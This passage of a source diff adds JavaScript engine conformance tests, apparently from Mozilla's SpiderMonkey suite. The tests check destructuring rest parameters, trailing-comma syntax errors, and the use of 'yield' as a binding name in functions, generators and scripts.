+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value::k::@@iterator()::next",
+
+ "lhs before obj l",
+ "lhs before name l",
+ "rhs call @@iterator()::next()::value::i::@@iterator()::next()::value::k::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value::k::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::i::@@iterator()::next()::value::k::@@iterator()::next()::value",
+ "lhs set l",
+
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value",
+ "rhs call @@iterator()::next",
+ "rhs get @@iterator()::next()::done",
+
+ "lhs before obj m",
+ "lhs before name m",
+ "lhs set m",
+
+ "rhs get @@iterator()::next()::value::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next",
+
+ "lhs before obj n",
+ "lhs before name n",
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+ "lhs set n",
+
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+
+ "lhs before obj o",
+ "lhs before name o",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::o",
+ "lhs set o",
+
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p",
+
+ "lhs before obj q",
+ "lhs before name q",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p::q",
+ "lhs set q",
+
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p::r",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p::r::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator()::next()::value::p::r::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p::r::@@iterator()::next",
+
+ "lhs before obj s",
+ "lhs before name s",
+ "rhs call @@iterator()::next()::value::@@iterator()::next()::value::p::r::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p::r::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::p::r::@@iterator()::next()::value",
+ "lhs set s",
+
+ "lhs before obj t",
+ "lhs before name t",
+ "lhs set t",
+
+ "rhs get @@iterator()::next()::value::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next",
+
+ "lhs before obj u",
+ "lhs before name u",
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+ "lhs set u",
+
+ "rhs call @@iterator()::next()::value::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value",
+
+ "lhs before obj v",
+ "lhs before name v",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::v",
+ "lhs set v",
+
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w",
+
+ "lhs before obj x",
+ "lhs before name x",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w::x",
+ "lhs set x",
+
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w::y",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w::y::@@iterator",
+ "rhs call @@iterator()::next()::value::@@iterator()::next()::value::w::y::@@iterator",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w::y::@@iterator()::next",
+
+ "lhs before obj z",
+ "lhs before name z",
+ "rhs call @@iterator()::next()::value::@@iterator()::next()::value::w::y::@@iterator()::next",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w::y::@@iterator()::next()::done",
+ "rhs get @@iterator()::next()::value::@@iterator()::next()::value::w::y::@@iterator()::next()::value",
+ "lhs set z",
+
+ "lhs before obj length",
+ "lhs before name length",
+ "lhs set length",
+ ].join(","));
+assertEq(storage.values.a, "A");
+assertEq(storage.values.b, "B");
+assertEq(storage.values.c, "C");
+assertEq(storage.values.e, "E");
+assertEq(storage.values.g, "G");
+assertEq(storage.values.h, "H");
+assertEq(storage.values.j, "J");
+assertEq(storage.values.l, "L");
+assertEq(storage.values.m, "M");
+assertEq(storage.values.n, "N");
+assertEq(storage.values.o, "O");
+assertEq(storage.values.q, "Q");
+assertEq(storage.values.s, "S");
+assertEq(storage.values.t, "T");
+assertEq(storage.values.u, "U");
+assertEq(storage.values.v, "V");
+assertEq(storage.values.x, "X");
+assertEq(storage.values.z, "Z");
+assertEq(storage.values.length, 2);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/destructuring/rest-parameter-aray-iterator.js b/js/src/tests/non262/destructuring/rest-parameter-aray-iterator.js
new file mode 100644
index 0000000000..bf9643fd78
--- /dev/null
+++ b/js/src/tests/non262/destructuring/rest-parameter-aray-iterator.js
@@ -0,0 +1,40 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Destructuring rest arrays call the array iterator. This behaviour is
+// observable when Array.prototype[Symbol.iterator] is overridden.
+
+const oldArrayIterator = Array.prototype[Symbol.iterator];
+try {
+ let callCount = 0;
+ Array.prototype[Symbol.iterator] = function() {
+ callCount += 1;
+ return oldArrayIterator.call(this);
+ };
+
+ // Array iterator called exactly once.
+ function arrayIterCalledOnce(...[]) { }
+ assertEq(callCount, 0);
+ arrayIterCalledOnce();
+ assertEq(callCount, 1);
+
+ // Array iterator not called before rest parameter.
+ callCount = 0;
+ function arrayIterNotCalledBeforeRest(t = assertEq(callCount, 0), ...[]) { }
+ assertEq(callCount, 0);
+ arrayIterNotCalledBeforeRest();
+ assertEq(callCount, 1);
+
+ // Array iterator called when rest parameter is processed.
+ callCount = 0;
+ function arrayIterCalledWhenDestructuring(...[t = assertEq(callCount, 1)]) { }
+ assertEq(callCount, 0);
+ arrayIterCalledWhenDestructuring();
+ assertEq(callCount, 1);
+} finally {
+ Array.prototype[Symbol.iterator] = oldArrayIterator;
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/rest-parameter-arguments.js b/js/src/tests/non262/destructuring/rest-parameter-arguments.js
new file mode 100644
index 0000000000..e87cdff339
--- /dev/null
+++ b/js/src/tests/non262/destructuring/rest-parameter-arguments.js
@@ -0,0 +1,101 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Ensure the |arguments| object works as expected when a destructuring rest
+// parameter is present.
+
+// |arguments.length| with destructuring rest array.
+function argsLengthEmptyRestArray(...[]) {
+ return arguments.length;
+}
+assertEq(argsLengthEmptyRestArray(), 0);
+assertEq(argsLengthEmptyRestArray(10), 1);
+assertEq(argsLengthEmptyRestArray(10, 20), 2);
+
+function argsLengthRestArray(...[a]) {
+ return arguments.length;
+}
+assertEq(argsLengthRestArray(), 0);
+assertEq(argsLengthRestArray(10), 1);
+assertEq(argsLengthRestArray(10, 20), 2);
+
+function argsLengthRestArrayWithDefault(...[a = 0]) {
+ return arguments.length;
+}
+assertEq(argsLengthRestArrayWithDefault(), 0);
+assertEq(argsLengthRestArrayWithDefault(10), 1);
+assertEq(argsLengthRestArrayWithDefault(10, 20), 2);
+
+
+// |arguments.length| with destructuring rest object.
+function argsLengthEmptyRestObject(...{}) {
+ return arguments.length;
+}
+assertEq(argsLengthEmptyRestObject(), 0);
+assertEq(argsLengthEmptyRestObject(10), 1);
+assertEq(argsLengthEmptyRestObject(10, 20), 2);
+
+function argsLengthRestObject(...{a}) {
+ return arguments.length;
+}
+assertEq(argsLengthRestObject(), 0);
+assertEq(argsLengthRestObject(10), 1);
+assertEq(argsLengthRestObject(10, 20), 2);
+
+function argsLengthRestObjectWithDefault(...{a = 0}) {
+ return arguments.length;
+}
+assertEq(argsLengthRestObjectWithDefault(), 0);
+assertEq(argsLengthRestObjectWithDefault(10), 1);
+assertEq(argsLengthRestObjectWithDefault(10, 20), 2);
+
+
+// |arguments| access with destructuring rest array.
+function argsAccessEmptyRestArray(...[]) {
+ return arguments[0];
+}
+assertEq(argsAccessEmptyRestArray(), undefined);
+assertEq(argsAccessEmptyRestArray(10), 10);
+assertEq(argsAccessEmptyRestArray(10, 20), 10);
+
+function argsAccessRestArray(...[a]) {
+ return arguments[0];
+}
+assertEq(argsAccessRestArray(), undefined);
+assertEq(argsAccessRestArray(10), 10);
+assertEq(argsAccessRestArray(10, 20), 10);
+
+function argsAccessRestArrayWithDefault(...[a = 0]) {
+ return arguments[0];
+}
+assertEq(argsAccessRestArrayWithDefault(), undefined);
+assertEq(argsAccessRestArrayWithDefault(10), 10);
+assertEq(argsAccessRestArrayWithDefault(10, 20), 10);
+
+
+// |arguments| access with destructuring rest object.
+function argsAccessEmptyRestObject(...{}) {
+ return arguments[0];
+}
+assertEq(argsAccessEmptyRestObject(), undefined);
+assertEq(argsAccessEmptyRestObject(10), 10);
+assertEq(argsAccessEmptyRestObject(10, 20), 10);
+
+function argsAccessRestObject(...{a}) {
+ return arguments[0];
+}
+assertEq(argsAccessRestObject(), undefined);
+assertEq(argsAccessRestObject(10), 10);
+assertEq(argsAccessRestObject(10, 20), 10);
+
+function argsAccessRestObjectWithDefault(...{a = 0}) {
+ return arguments[0];
+}
+assertEq(argsAccessRestObjectWithDefault(), undefined);
+assertEq(argsAccessRestObjectWithDefault(10), 10);
+assertEq(argsAccessRestObjectWithDefault(10, 20), 10);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/rest-parameter-function-length.js b/js/src/tests/non262/destructuring/rest-parameter-function-length.js
new file mode 100644
index 0000000000..5924e799ad
--- /dev/null
+++ b/js/src/tests/non262/destructuring/rest-parameter-function-length.js
@@ -0,0 +1,41 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Ensure function length is set correctly when a destructuring rest parameter
+// is present.
+
+assertEq(function(...[]) {}.length, 0);
+assertEq(function(...[a]) {}.length, 0);
+assertEq(function(...[a = 0]) {}.length, 0);
+assertEq(function(...{}) {}.length, 0);
+assertEq(function(...{p: a}) {}.length, 0);
+assertEq(function(...{p: a = 0}) {}.length, 0);
+assertEq(function(...{a = 0}) {}.length, 0);
+
+assertEq(function(x, ...[]) {}.length, 1);
+assertEq(function(x, ...[a]) {}.length, 1);
+assertEq(function(x, ...[a = 0]) {}.length, 1);
+assertEq(function(x, ...{}) {}.length, 1);
+assertEq(function(x, ...{p: a}) {}.length, 1);
+assertEq(function(x, ...{p: a = 0}) {}.length, 1);
+assertEq(function(x, ...{a = 0}) {}.length, 1);
+
+assertEq(function(x, y, ...[]) {}.length, 2);
+assertEq(function(x, y, ...[a]) {}.length, 2);
+assertEq(function(x, y, ...[a = 0]) {}.length, 2);
+assertEq(function(x, y, ...{}) {}.length, 2);
+assertEq(function(x, y, ...{p: a}) {}.length, 2);
+assertEq(function(x, y, ...{p: a = 0}) {}.length, 2);
+assertEq(function(x, y, ...{a = 0}) {}.length, 2);
+
+assertEq(function(x, y = 0, ...[]) {}.length, 1);
+assertEq(function(x, y = 0, ...[a]) {}.length, 1);
+assertEq(function(x, y = 0, ...[a = 0]) {}.length, 1);
+assertEq(function(x, y = 0, ...{}) {}.length, 1);
+assertEq(function(x, y = 0, ...{p: a}) {}.length, 1);
+assertEq(function(x, y = 0, ...{p: a = 0}) {}.length, 1);
+assertEq(function(x, y = 0, ...{a = 0}) {}.length, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/rest-parameter-spread-call-optimization.js b/js/src/tests/non262/destructuring/rest-parameter-spread-call-optimization.js
new file mode 100644
index 0000000000..20f6a529dc
--- /dev/null
+++ b/js/src/tests/non262/destructuring/rest-parameter-spread-call-optimization.js
@@ -0,0 +1,29 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Ensure the spread-call optimization doesn't break when a destructuring rest
+// parameter is used.
+
+function spreadTarget() { return arguments.length; }
+
+function spreadOpt(...[r]){ return spreadTarget(...r); }
+assertEq(spreadOpt([]), 0);
+assertEq(spreadOpt([10]), 1);
+assertEq(spreadOpt([10, 20]), 2);
+assertEq(spreadOpt([10, 20, 30]), 3);
+
+function spreadOpt2(...[...r]){ return spreadTarget(...r); }
+assertEq(spreadOpt2(), 0);
+assertEq(spreadOpt2(10), 1);
+assertEq(spreadOpt2(10, 20), 2);
+assertEq(spreadOpt2(10, 20, 30), 3);
+
+function spreadOpt3(r, ...[]){ return spreadTarget(...r); }
+assertEq(spreadOpt3([]), 0);
+assertEq(spreadOpt3([10]), 1);
+assertEq(spreadOpt3([10, 20]), 2);
+assertEq(spreadOpt3([10, 20, 30]), 3);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/rest-parameter-syntax.js b/js/src/tests/non262/destructuring/rest-parameter-syntax.js
new file mode 100644
index 0000000000..a145d1a2df
--- /dev/null
+++ b/js/src/tests/non262/destructuring/rest-parameter-syntax.js
@@ -0,0 +1,87 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+const bindingPatterns = [
+ "[]",
+ "[a]",
+ "[a, b]",
+ "[a, ...b]",
+ "[...a]",
+ "[...[]]",
+
+ "{}",
+ "{p: a}",
+ "{p: a = 0}",
+ "{p: {}}",
+ "{p: a, q: b}",
+ "{a}",
+ "{a, b}",
+ "{a = 0}",
+];
+
+const functions = [
+ p => `function f(${p}) {}`,
+ p => `function* g(${p}) {}`,
+ p => `({m(${p}) {}});`,
+ p => `(class {m(${p}) {}});`,
+ p => `(${p}) => {};`,
+];
+
+for (let pattern of bindingPatterns) {
+ for (let fn of functions) {
+ // No leading parameters.
+ eval(fn(`...${pattern}`));
+
+ // Leading normal parameters.
+ eval(fn(`x, ...${pattern}`));
+ eval(fn(`x, y, ...${pattern}`));
+
+ // Leading parameters with defaults.
+ eval(fn(`x = 0, ...${pattern}`));
+ eval(fn(`x = 0, y = 0, ...${pattern}`));
+
+ // Leading array destructuring parameters.
+ eval(fn(`[], ...${pattern}`));
+ eval(fn(`[x], ...${pattern}`));
+ eval(fn(`[x = 0], ...${pattern}`));
+ eval(fn(`[...x], ...${pattern}`));
+
+ // Leading object destructuring parameters.
+ eval(fn(`{}, ...${pattern}`));
+ eval(fn(`{p: x}, ...${pattern}`));
+ eval(fn(`{x}, ...${pattern}`));
+ eval(fn(`{x = 0}, ...${pattern}`));
+
+ // Trailing parameters after rest parameter.
+ assertThrowsInstanceOf(() => eval(fn(`...${pattern},`)), SyntaxError);
+ assertThrowsInstanceOf(() => eval(fn(`...${pattern}, x`)), SyntaxError);
+ assertThrowsInstanceOf(() => eval(fn(`...${pattern}, x = 0`)), SyntaxError);
+ assertThrowsInstanceOf(() => eval(fn(`...${pattern}, ...x`)), SyntaxError);
+ assertThrowsInstanceOf(() => eval(fn(`...${pattern}, []`)), SyntaxError);
+ assertThrowsInstanceOf(() => eval(fn(`...${pattern}, {}`)), SyntaxError);
+
+ // Rest parameter with defaults.
+ assertThrowsInstanceOf(() => eval(fn(`...${pattern} = 0`)), SyntaxError);
+ }
+}
+
+for (let fn of functions) {
+ // Missing name, incomplete patterns.
+ assertThrowsInstanceOf(() => eval(fn(`...`)), SyntaxError);
+ assertThrowsInstanceOf(() => eval(fn(`...[`)), SyntaxError);
+ assertThrowsInstanceOf(() => eval(fn(`...{`)), SyntaxError);
+
+ // Invalid binding name.
+ assertThrowsInstanceOf(() => eval(fn(`...[0]`)), SyntaxError);
+ assertThrowsInstanceOf(() => eval(fn(`...[p.q]`)), SyntaxError);
+}
+
+// Rest parameters aren't valid in getter/setter methods.
+assertThrowsInstanceOf(() => eval(`({get p(...[]) {}})`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`({set p(...[]) {}})`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/rest-parameter.js b/js/src/tests/non262/destructuring/rest-parameter.js
new file mode 100644
index 0000000000..50d77f3cc5
--- /dev/null
+++ b/js/src/tests/non262/destructuring/rest-parameter.js
@@ -0,0 +1,54 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Simple functional test for destructuring rest parameters.
+
+function arrayRest(...[a, b]) {
+ return a + b;
+}
+assertEq(arrayRest(3, 7), 10);
+
+
+function arrayRestWithDefault(...[a, b = 1]) {
+ return a + b;
+}
+assertEq(arrayRestWithDefault(3, 7), 10);
+assertEq(arrayRestWithDefault(4), 5);
+assertEq(arrayRestWithDefault(4, undefined), 5);
+
+
+function objectRest(...{length: len}) {
+ return len;
+}
+assertEq(objectRest(), 0);
+assertEq(objectRest(10), 1);
+assertEq(objectRest(10, 20), 2);
+
+
+function objectRestWithDefault(...{0: a, 1: b = 1}) {
+ return a + b;
+}
+assertEq(objectRestWithDefault(3, 7), 10);
+assertEq(objectRestWithDefault(4), 5);
+assertEq(objectRestWithDefault(4, undefined), 5);
+
+
+function arrayRestWithNestedRest(...[...r]) {
+ return r.length;
+}
+assertEq(arrayRestWithNestedRest(), 0);
+assertEq(arrayRestWithNestedRest(10), 1);
+assertEq(arrayRestWithNestedRest(10, 20), 2);
+
+
+function arrayRestTDZ(...[a = a]) { }
+assertThrowsInstanceOf(() => arrayRestTDZ(), ReferenceError);
+
+
+function objectRestTDZ(...{a = a}) { }
+assertThrowsInstanceOf(() => objectRestTDZ(), ReferenceError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/rest-with-trailing-comma.js b/js/src/tests/non262/destructuring/rest-with-trailing-comma.js
new file mode 100644
index 0000000000..310180e14b
--- /dev/null
+++ b/js/src/tests/non262/destructuring/rest-with-trailing-comma.js
@@ -0,0 +1,45 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const invalidSyntax = [
+ "[...r, ]",
+ "[a, ...r, ]",
+ "[a = 0, ...r, ]",
+ "[[], ...r, ]",
+ "[[...r,]]",
+ "[[...r,], ]",
+ "[[...r,], a]",
+];
+
+const validSyntax = [
+ "[, ]",
+ "[a, ]",
+ "[[], ]",
+];
+
+const destructuringForms = [
+ a => `${a} = [];`,
+ a => `var ${a} = [];`,
+ a => `let ${a} = [];`,
+ a => `const ${a} = [];`,
+ a => `(${a}) => {};`,
+ a => `(${a} = []) => {};`,
+ a => `function f(${a}) {}`,
+];
+
+for (let invalid of invalidSyntax) {
+ for (let fn of destructuringForms) {
+ assertThrowsInstanceOf(() => Function(fn(invalid)), SyntaxError);
+ }
+}
+
+for (let invalid of validSyntax) {
+ for (let fn of destructuringForms) {
+ Function(fn(invalid));
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/destructuring/shell.js b/js/src/tests/non262/destructuring/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/destructuring/shell.js
diff --git a/js/src/tests/non262/destructuring/yield-in-object-destr-function.js b/js/src/tests/non262/destructuring/yield-in-object-destr-function.js
new file mode 100644
index 0000000000..9f5eed8345
--- /dev/null
+++ b/js/src/tests/non262/destructuring/yield-in-object-destr-function.js
@@ -0,0 +1,182 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Destructuring binding patterns with var.
+(function() {
+ var {a: yield} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+
+ var {yield} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+
+ var {yield = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ var {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ var {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ var {yield = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns with let.
+(function(){
+ let {a: yield} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+})();
+
+(function() {
+ let {yield} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+})();
+
+(function() {
+ let {yield = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ let {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ let {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ let {yield = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns with const.
+(function() {
+ const {a: yield} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+})();
+
+(function() {
+ const {yield} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+})();
+
+(function() {
+ const {yield = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ const {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ const {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ const {yield = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns in parameters.
+(function({a: yield} = {a: "yield-with-name"}) {
+ assertEq(yield, "yield-with-name");
+})();
+
+(function({yield} = {yield: "yield-with-shorthand"}) {
+ assertEq(yield, "yield-with-shorthand");
+})();
+
+(function({yield = 0} = {yield: "yield-with-coverinitname"}) {
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f({a: yield} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f({yield} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f({yield = 0} = {}) { }
+`), SyntaxError);
+
+
+// Destructuring assignment pattern.
+(function() {
+ var a, yield;
+
+ ({a: yield} = {a: "yield-with-name"});
+ assertEq(yield, "yield-with-name");
+
+ ({yield} = {yield: "yield-with-shorthand"});
+ assertEq(yield, "yield-with-shorthand");
+
+ ({yield = 0} = {yield: "yield-with-coverinitname"});
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ ({a: yield} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ ({yield} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ ({yield = 0} = {});
+ }
+`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/destructuring/yield-in-object-destr-generator.js b/js/src/tests/non262/destructuring/yield-in-object-destr-generator.js
new file mode 100644
index 0000000000..4423f8190f
--- /dev/null
+++ b/js/src/tests/non262/destructuring/yield-in-object-destr-generator.js
@@ -0,0 +1,200 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Destructuring binding patterns with var.
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ var {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ var {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ var {yield = 0} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ var {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ var {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ var {yield = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns with let.
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ let {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ let {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ let {yield = 0} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ let {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ let {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ let {yield = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns with const.
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ const {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ const {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ const {yield = 0} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ const {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ const {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ const {yield = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns in parameters.
+assertThrowsInstanceOf(() => eval(`
+ function* g({a: yield} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g({yield} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g({yield = 0} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g({a: yield} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g({yield} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g({yield = 0} = {}) { }
+`), SyntaxError);
+
+
+// Destructuring assignment pattern.
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ ({a: yield} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ ({yield} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ ({yield = 0} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ ({a: yield} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ ({yield} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ ({yield = 0} = {});
+ }
+`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/destructuring/yield-in-object-destr-script.js b/js/src/tests/non262/destructuring/yield-in-object-destr-script.js
new file mode 100644
index 0000000000..99b48dd417
--- /dev/null
+++ b/js/src/tests/non262/destructuring/yield-in-object-destr-script.js
@@ -0,0 +1,123 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Destructuring binding patterns with var.
+var {a: yield} = {a: "yield-with-name"};
+assertEq(yield, "yield-with-name");
+
+var {yield} = {yield: "yield-with-shorthand"};
+assertEq(yield, "yield-with-shorthand");
+
